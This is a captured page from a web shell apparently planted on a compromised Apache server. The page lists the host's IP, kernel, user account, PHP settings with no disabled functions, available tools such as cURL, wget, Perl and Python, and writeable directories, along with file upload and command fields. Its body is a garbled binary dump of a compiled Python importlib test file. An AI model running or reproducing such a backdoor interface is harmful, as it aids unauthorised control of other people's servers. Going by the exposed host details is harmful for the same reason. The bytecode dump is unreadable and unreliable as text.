403Webshell
Server IP : 118.27.122.248  /  Your IP : 216.73.216.240
Web Server : Apache
System : Linux web0264.sh.tyo1 4.18.0-553.79.1.lve.el7h.x86_64 #1 SMP Wed Oct 15 16:34:46 UTC 2025 x86_64
User : c9415830 ( 11735)
PHP Version : 8.4.17
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python36/lib64/python3.6/test/test_importlib/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python36/lib64/python3.6/test/test_importlib/__pycache__/test_lazy.cpython-36.pyc
3

�w2_B�@s�ddlZddlmZddlmZddlZddlZddlZddlmZGdd�d�ZGdd�dej	�Z
Gd	d
�d
ejej�Z
Gdd�dej	�Zed
kr�ej�dS)�N)�abc)�util�c@seZdZdd�Zdd�ZdS)�CollectInitcOs||_||_dS)N)�args�kwargs)�selfrr�r	�B/opt/alt/python36/lib64/python3.6/test/test_importlib/test_lazy.py�__init__
szCollectInit.__init__cCs|S)Nr	)r�moduler	r	r
�exec_moduleszCollectInit.exec_moduleN)�__name__�
__module__�__qualname__rr
r	r	r	r
rsrc@seZdZdd�Zdd�ZdS)�LazyLoaderFactoryTestscCsDtjjt�}|dddd�}|j}|jd|j�|jddi|j�dS)N�module name�module path�kw)r)rr)r�
LazyLoader�factoryr�loader�assertEqualrr)rrZlazy_loaderrr	r	r
�	test_inits
z LazyLoaderFactoryTests.test_initc	Cs&|jt��tjjt�WdQRXdS)N)�assertRaises�	TypeErrorrrr�object)rr	r	r
�test_validation sz&LazyLoaderFactoryTests.test_validationN)rrrrrr	r	r	r
rs	rc@s4eZdZdZdZdZdje�Zd	dd�Zdd�Z	dS)
�TestingImporterZlazy_loader_testZchangedNzattr = 42; __name__ = {!r}cCs ||jkrdStj|tj|��S)N)�module_namer�spec_from_loaderr)r�name�path�targetr	r	r
�	find_spec-s
zTestingImporter.find_speccCst|j|j�||_dS)N)�exec�source_code�__dict__�loaded)rrr	r	r
r
2szTestingImporter.exec_module)N)
rrrr�mutated_namer(�formatr&r$r
r	r	r	r
r&s

rc@sfeZdZdd�Zddd�Zdd�Zdd	�Zd
d�Zdd
�Zdd�Z	dd�Z
dd�Zdd�Zdd�Z
dS)�LazyLoaderTestsc	Cs$|jt��tjt�WdQRXdS)N)rrrrr)rr	r	r
r9szLazyLoaderTests.test_initNcCsrt�}|dk	r||_tjtjtj|��}|jj|�}|dkrHtj	tj�}||_
|j|_|jj|�|j
|j�|S)N)rr&rr rrr�
create_module�types�
ModuleType�__spec__�
__loader__r
�assertIsNoner()rr&r�specrr	r	r
�
new_module>szLazyLoaderTests.new_modulecCs�t�}|jdkst�tj|j��,tj|gd��tj|j�}WdQRXWdQRX|j	|j�|j
|j|�|j|j�|j
||j�dS)N)�	meta_path)
rr(�AssertionError�	test_util�uncacherZimport_state�	importlib�
import_moduler1rr0ZassertIsNotNone)rZimporterrr	r	r
�test_e2eNs zLazyLoaderTests.test_e2ecCs|j�}|jtj|j�dS)N)r3rrr)r)rrr	r	r
�test_attr_unchanged[sz#LazyLoaderTests.test_attr_unchangedcCs |j�}d|_|jd|j�dS)N�*)r3Znew_attrr)rrr	r	r
�
test_new_attraszLazyLoaderTests.test_new_attrcCs |j�}d|_|jd|j�dS)NZbogus)r3rr)rrr	r	r
�test_mutated_preexisting_attrgsz-LazyLoaderTests.test_mutated_preexisting_attrcCs |j�}d|_|jd|j�dS)N�)r3�attrr)rrr	r	r
�test_mutated_attrnsz!LazyLoaderTests.test_mutated_attrcCs |j�}|`|jt|d��dS)Nr@)r3r@�assertFalse�hasattr)rrr	r	r
�test_delete_eventual_attrusz)LazyLoaderTests.test_delete_eventual_attrcCs |j�}|`|jt|d��dS)Nr)r3rrBrC)rrr	r	r
�test_delete_preexisting_attr{sz,LazyLoaderTests.test_delete_preexisting_attrcCsZtjtj��Dtjtj�}|tjtj<|j�}|j	t
d��|jWdQRXWdQRXdS)NZsubstituted)r6r7rrr-r.�sys�modulesr3ZassertRaisesRegex�
ValueErrorr)rZfresh_modulerr	r	r
�test_module_substitution_error�sz.LazyLoaderTests.test_module_substitution_errorc
Cs6tjtj�� |j�}|tjtj<|jWdQRXdS)N)r6r7rrr3rFrGr)rrr	r	r
�test_module_already_in_sys�sz*LazyLoaderTests.test_module_already_in_sys)N)rrrrr3r:r;r=r>rArDrErIrJr	r	r	r
r+7s

r+�__main__)r8rrrFr-Zunittest�r6rZTestCaser�MetaPathFinder�Loaderrr+r�mainr	r	r	r
�<module>s
Y

Youez - 2016 - github.com/yon3zu
LinuXploit